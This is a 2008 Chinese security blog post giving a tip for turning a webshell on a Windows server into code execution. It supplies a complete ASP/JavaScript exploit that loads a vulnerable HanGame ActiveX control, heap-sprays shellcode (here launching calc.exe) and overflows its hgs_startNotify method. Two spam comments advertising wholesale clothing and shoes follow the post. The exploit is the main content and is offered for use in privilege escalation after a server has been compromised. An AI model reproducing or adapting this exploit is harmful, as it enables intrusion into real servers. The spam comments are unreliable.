2008年2月18日星期一

[Tips]webshell中上传asp文件调用服务器ActiveX控件溢出获取shell

Team: http://www.ph4nt0m.org
Author: 云舒(http://www.icylife.net)
Date: 2008-02-19


做windows系统渗透测试的时候有webshell了,但是拿不到shell,用来提升权限,也是个很郁闷的事情。一般来说,使用mdb jet引擎的溢出比较常见,但是有时候根据服务器上安装的第三方软件,使用一些新的方法,或许能有一点转机。这里主要描述一下调用activex溢出服务器的思路,方法很简单。

activex溢出一般都是用来攻击客户端的,但是这里,主要就是利用了asp是在服务端执行的,而且可以调用activex控件的原理。废话不多说了,一小段测试性质的代码,在服务器上放这么个asp文件,远程访问一下,服务器就执行计算器。代码没什么奇特的地方,把JS放到 <%中执行就行了,主要是提供点思路。

————————很傻很天真的分割线————————

<%@ LANGUAGE = JavaScript %>
<%

var act
=new ActiveXObject("HanGamePluginCn18.HanGamePluginCn18.1");

//run calc.exe
var shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");

var bigblock 
= unescape("%u9090%u9090");

var headersize 
= 20;

var slackspace 
= headersize+shellcode.length;

while (bigblock.length<slackspace) bigblock+=bigblock;

fillblock 
= bigblock.substring(0, slackspace);

block 
= bigblock.substring(0, bigblock.length-slackspace);

while(block.length+slackspace<0x40000) block = block+block+fillblock;

memory 
= new Array();

for (x=0; x<300; x++) memory[x] = block + shellcode;

var buffer 
= '';

while (buffer.length < 1319) buffer+="A";

buffer
=buffer+"\x0a\x0a\x0a\x0a"+buffer;

act.hgs_startNotify(buffer);

%> 




————————很黄很暴力的分割线————————

感谢js达人中最帅的一个——luoluo,再感谢cloie同学。

————————很好很强大的分割线,结束————————

2 条评论:

products 说...

China Wholesale has been described as the world’s factory. This phenomenom is typified by the rise ofbusiness. Incredible range of products available with China Wholesalers “Low Price and High Quality” not only reaches directly to their target clients worldwide but also ensures that wholesale from china from China means margins you cannot find elsewhere and buy products wholesaleChina Wholesale will skyroket your profits.wedding dressescheap naruto cosplayanime cosplaycheap Gemstone Jewelry

products 说...

Women’s nike tn Shox Rivalry est le modèle féminin le plus tendance de baskets pour le sport. tn chaussuresConcernant la semelle :spyder jacketsCheap Brand Jeans Shop - True Religion Jeans cheap nike shox & Puma Shoes Online- tn nike,Diesel Jeans le caoutchouc extérieur, l’EVA intermédiaire Levis Jeanset le textile intérieur s’associent pour attribuer à la.ed hardy shirts pretty fitCharlestoncheap columbia jackets. turned a pair of double plays to do the trick.Lacoste Polo Shirts, puma basket, Burberry Polo Shirts.wholesale Lacoste polo shirts and cheap polo shirtswith great price.Thank you so much!!cheap polo shirts men'ssweate,gillette mach3 razor bladesfor men.As for Cheap Evisu JeansCheap Armani Jeanspolo shirtsPuma shoes